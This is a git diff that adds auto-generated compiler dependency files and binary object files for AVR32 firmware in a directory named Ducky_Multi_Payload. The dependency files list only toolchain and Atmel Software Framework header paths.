+src\asf\common\services\usb\class\hid\device\kbd\udi_hid_kbd_desc.c + +src\asf\common\services\usb\class\hid\device\udi_hid.c + +src\asf\common\services\usb\udc\udc.c + +src\main.c + diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/boards/evk1101/init.d b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/boards/evk1101/init.d new file mode 100644 index 0000000..2b21410 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/boards/evk1101/init.d @@ -0,0 +1,169 @@ +src/asf/avr32/boards/evk1101/init.d src/asf/avr32/boards/evk1101/init.o: \ + ../src/asf/avr32/boards/evk1101/init.c ../src/asf/avr32/utils/compiler.h \ + ../src/asf/avr32/utils/preprocessor/preprocessor.h \ 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(x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pwm_130.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/rtc_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/spi_199.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ssc_310.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/tc_222.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/twi_211.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usart_400.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usbb_310.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/wdt_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stddef.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/newlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/config.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/ieeefp.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/reent.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_default_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/lock.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/stdlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/alloca.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stdbool.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdint.h: + +../src/asf/common/utils/interrupt.h: + +../src/asf/avr32/utils/parts.h: + +../src/asf/common/utils/interrupt/interrupt_avr32.h: + +../src/asf/avr32/utils/preprocessor/tpaste.h: + +../src/asf/avr32/drivers/intc/intc.h: + +../src/asf/avr32/boards/evk1101/evk1101.h: + +../src/asf/avr32/boards/evk1101/led.h: + +../src/config/conf_board.h: + +../src/asf/avr32/drivers/gpio/gpio.h: + +../src/asf/common/boards/board.h: + +../src/asf/avr32/boards/evk1101/evk1101.h: diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/boards/evk1101/init.o b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/boards/evk1101/init.o new file mode 100644 index 0000000..9cd1137 Binary files /dev/null and b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/boards/evk1101/init.o differ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/boards/evk1101/led.d b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/boards/evk1101/led.d new file mode 100644 index 0000000..1d76677 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/boards/evk1101/led.d @@ -0,0 +1,159 @@ +src/asf/avr32/boards/evk1101/led.d src/asf/avr32/boards/evk1101/led.o: \ + ../src/asf/avr32/boards/evk1101/led.c \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/io.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/uc3b0256.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/core_sc0_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/abi.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ocd_s0_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/intc_101.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/adc_200.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/eic_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/flashc_200.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/freqm_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/gpio_110.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/hmatrix_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pdca_102.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pm_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pwm_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/rtc_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/spi_199.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ssc_310.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/tc_222.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/twi_211.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 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(x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pm_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pwm_130.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/rtc_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/spi_199.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ssc_310.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/tc_222.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/twi_211.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usart_400.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usbb_310.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/wdt_230.h: + +../src/asf/avr32/utils/preprocessor/preprocessor.h: + +../src/asf/avr32/utils/preprocessor/tpaste.h: + +../src/asf/avr32/utils/preprocessor/stringz.h: + +../src/asf/avr32/utils/preprocessor/mrepeat.h: + +../src/asf/avr32/utils/preprocessor/preprocessor.h: + +../src/asf/avr32/utils/compiler.h: + +../src/asf/avr32/utils/parts.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stddef.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/newlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/config.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/ieeefp.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/reent.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_default_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/lock.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/stdlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/alloca.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stdbool.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdint.h: + +../src/asf/common/utils/interrupt.h: + +../src/asf/avr32/utils/parts.h: + +../src/asf/common/utils/interrupt/interrupt_avr32.h: + +../src/asf/avr32/utils/preprocessor/tpaste.h: + +../src/asf/avr32/drivers/intc/intc.h: + +../src/asf/avr32/boards/evk1101/evk1101.h: + +../src/asf/avr32/boards/evk1101/led.h: diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/boards/evk1101/led.o b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/boards/evk1101/led.o new file mode 100644 index 0000000..249f4ef Binary files /dev/null and b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/boards/evk1101/led.o differ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.d b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.d new file mode 100644 index 0000000..26d552d --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.d @@ -0,0 +1,187 @@ +src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.d \ + src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.o: \ + ../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.c \ + ../src/config/conf_access.h ../src/asf/avr32/utils/compiler.h \ + ../src/asf/avr32/utils/preprocessor/preprocessor.h \ + ../src/asf/avr32/utils/preprocessor/tpaste.h \ + ../src/asf/avr32/utils/preprocessor/stringz.h \ + ../src/asf/avr32/utils/preprocessor/mrepeat.h \ + ../src/asf/avr32/utils/preprocessor/preprocessor.h \ + ../src/asf/avr32/utils/parts.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/io.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/uc3b0256.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/core_sc0_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/abi.h \ + c:\program\ files\ (x86)\atmel\avr\ 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(x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ssc_310.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/tc_222.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/twi_211.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usart_400.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usbb_310.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/wdt_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stddef.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/newlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/config.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/ieeefp.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/reent.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_default_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/lock.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/stdlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/alloca.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stdbool.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdint.h: + +../src/asf/common/utils/interrupt.h: + +../src/asf/avr32/utils/parts.h: + +../src/asf/common/utils/interrupt/interrupt_avr32.h: + +../src/asf/avr32/utils/preprocessor/tpaste.h: + +../src/asf/avr32/drivers/intc/intc.h: + +../src/asf/common/boards/board.h: + +../src/asf/avr32/boards/evk1101/evk1101.h: + +../src/asf/avr32/boards/evk1101/led.h: + +../src/asf/avr32/drivers/gpio/gpio.h: + +../src/asf/avr32/drivers/spi/spi.h: + +../src/config/conf_sd_mmc_spi.h: + +../src/config/conf_access.h: + +../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.h: + +../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/string.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/string.h: diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.o b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.o new file mode 100644 index 0000000..84a076e Binary files /dev/null and b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.o differ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi_mem.d b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi_mem.d new file mode 100644 index 0000000..88f620d --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi_mem.d @@ -0,0 +1,188 @@ +src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi_mem.d \ + src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi_mem.o: \ + ../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi_mem.c \ + ../src/config/conf_access.h ../src/asf/avr32/utils/compiler.h \ + ../src/asf/avr32/utils/preprocessor/preprocessor.h \ + ../src/asf/avr32/utils/preprocessor/tpaste.h \ + ../src/asf/avr32/utils/preprocessor/stringz.h \ + ../src/asf/avr32/utils/preprocessor/mrepeat.h \ + ../src/asf/avr32/utils/preprocessor/preprocessor.h \ + ../src/asf/avr32/utils/parts.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/io.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/uc3b0256.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/core_sc0_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/abi.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 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(x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/gpio_110.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/hmatrix_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pdca_102.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pm_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pwm_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 